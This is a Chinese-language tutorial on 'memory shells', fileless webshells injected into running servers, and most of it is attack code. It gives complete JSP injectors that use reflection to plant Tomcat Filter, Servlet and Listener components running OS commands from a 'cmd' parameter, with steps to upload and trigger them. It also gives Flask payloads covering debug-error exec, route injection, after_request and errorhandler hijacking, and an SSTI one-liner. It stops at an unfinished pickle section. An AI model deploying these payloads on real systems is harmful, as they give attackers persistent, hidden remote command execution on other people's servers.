内存马
java类:
在 Java Web 开发中,Listener(监听器)、Filter(过滤器)和Servlet(服务程序) 是三个核心组件,分别在请求生命周期的不同阶段起作用
Servlet : Java Web 应用中处理 HTTP 请求和响应的核心组件。每个 URL 路由通常由一个 Servlet 处理,负责业务逻辑和返回响应
Filter :请求到达 Servlet 之前、或响应返回客户端之前进行拦截和处理
Listener :监听 Web 应用的生命周期事件
但是,可以控制三者进行恶意行为实现无文件木马
Filter内存马
Filter内存马的核心思想是利用Java的反射机制,在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
// 注入流程: ServletContext -> ApplicationContext -> StandardContext -> filterConfigs -> 注册 Filter
final String name = "filter"; // Filter 的名称
// 1. 获取 ServletContext
ServletContext servletContext = request.getServletContext();
// 2. 通过反射获取 ApplicationContext
// 反射获取 ServletContext 中的 private 字段 "context" (其类型为 ApplicationContext)
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true); // 设置字段可访问
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); // 获取字段值
// 3. 通过反射获取 StandardContext
// 反射获取 ApplicationContext 中的 private 字段 "context" (其类型为 StandardContext)
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true); // 设置字段可访问
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 获取字段值
// 4. 通过反射获取 filterConfigs (存储已注册 Filter 的 Map)
// 反射获取 StandardContext 中的 private 字段 "filterConfigs"
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true); // 设置字段可访问
Map filterConfigs = (Map) Configs.get(standardContext); // 获取字段值
// 5. 检查是否已存在同名 Filter
if (filterConfigs.get(name) == null) {
// 6. 创建恶意的 Filter 实例
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// Filter 初始化方法 (此处为空)
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
// Filter 的核心处理方法
HttpServletRequest lrequest = (HttpServletRequest) servletRequest;
HttpServletResponse lresponse = (HttpServletResponse) servletResponse;
// 如果请求参数中包含 "cmd",则执行命令
if (lrequest.getParameter("cmd") != null) {
Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd")); // 执行系统命令
// 读取命令执行结果
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + 'n');
}
// 将命令执行结果写入响应
lresponse.getOutputStream().write(stringBuilder.toString().getBytes());
lresponse.getOutputStream().flush();
lresponse.getOutputStream().close();
return; // 阻止请求继续传递
}
filterChain.doFilter(servletRequest, servletResponse); // 放行不符合条件的请求
}
@Override
public void destroy() {
// Filter 销毁方法
}
};
// 7. 创建 FilterDef (Filter 定义)
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter); // 设置 Filter 实例
filterDef.setFilterName(name); // 设置 Filter 名称
filterDef.setFilterClass(filter.getClass().getName()); // 设置 Filter 类名
standardContext.addFilterDef(filterDef); // 将 FilterDef 添加到 StandardContext
// 8. 创建 FilterMap (Filter 映射)
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/filter"); // 设置 Filter 映射的 URL 模式
filterMap.setFilterName(name); // 设置 Filter 名称
filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置触发类型为 REQUEST
standardContext.addFilterMapBefore(filterMap); // 将 FilterMap 添加到 StandardContext (添加到其他 FilterMap 之前)
// 9. 创建 ApplicationFilterConfig (Filter 配置)
// 反射获取 ApplicationFilterConfig 的构造方法 (参数为 Context 和 FilterDef)
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true); // 设置构造方法可访问
// 通过反射创建 ApplicationFilterConfig 实例
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
// 10. 将 FilterConfig 添加到 filterConfigs 中,完成 Filter 注册
filterConfigs.put(name, filterConfig);
}
%>
之后/filter?cmd执行命令
Servlet类型的内存马
Servlet 型内存马与 Filter 型内存马类似,都是利用Java 的反射机制和 Tomcat 的 API 在运行时动态注册恶意的组件。Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%
// 定义恶意Servlet类
class EvilServlet extends HttpServlet {
@Override
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("n");
}
response.getWriter().write(sb.toString());
} catch (Exception e) {
response.getWriter().write(e.toString());
}
}
}
@Override
public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
doGet(request, response);
}
}
// 注入流程
final String servletName = "evilServlet";
final String urlPattern = "/evil";
// 1. 获取 StandardContext
ServletContext servletContext = request.getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 2. 检查 Servlet 是否已存在,防止重复注入
if (standardContext.findChild(servletName) == null) {
// 3. 创建 Wrapper
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServletClass(EvilServlet.class.getName());
wrapper.setServlet(new EvilServlet());
wrapper.setLoadOnStartup(1);
// 4. 添加 Servlet 配置
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(urlPattern, servletName);
out.println("Servlet 注入成功!");
out.println("访问路径: " + urlPattern);
out.println("支持参数: cmd");
} else {
out.println("Servlet 已存在!");
}
%>
上传该jsp文件到webapp目录然后访问jsp文件触发代码,内存马注入成功之后就可以通过路由/evil?cmd执行命令。
Listener 型内存马原理
基于 Listener 的内存马利用 Tomcat 的 API 和 Java 的反射机制,在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时,这个恶意的 Listener 就会执行预先设定的恶意代码。
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.http.HttpServletRequest" %>
<%@ page import="javax.servlet.http.HttpServletResponse" %>
<%
// 定义恶意Listener
class EvilListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
// 每次请求初始化的时候处理
System.out.println("start of listen");
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(process.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("n");
}
HttpServletResponse response =
(HttpServletResponse) request.getAttribute("javax.servlet.response");
response.getWriter().write(sb.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
// 每次请求结束时的处理
System.out.println("ends of listen");
}
}
// 注入流程
// 1. 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 2. 创建并添加Listener
ServletRequestListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);
out.println("Listener注入成功!");
%>
flask
Debug模式下利用报错:
exec("raise Exception(__import__('os').popen('whoami').read())")
非Debug模式下利用:
import sys
import os
sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :os.popen('dir').read())
但是在新版本Flask中,通过add_url_rule来创建路由的方法已经不再适用,取而代之的是before_request和after_request
before_request:
app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get('cmd')).read())')==None else resp)
若没有导入包(用于无回显ssti):
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
errorhandler(自定义错误处理函数实行恶意操作):
exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")
访问不存在的路径触发即可
pickle反序列化时的利用: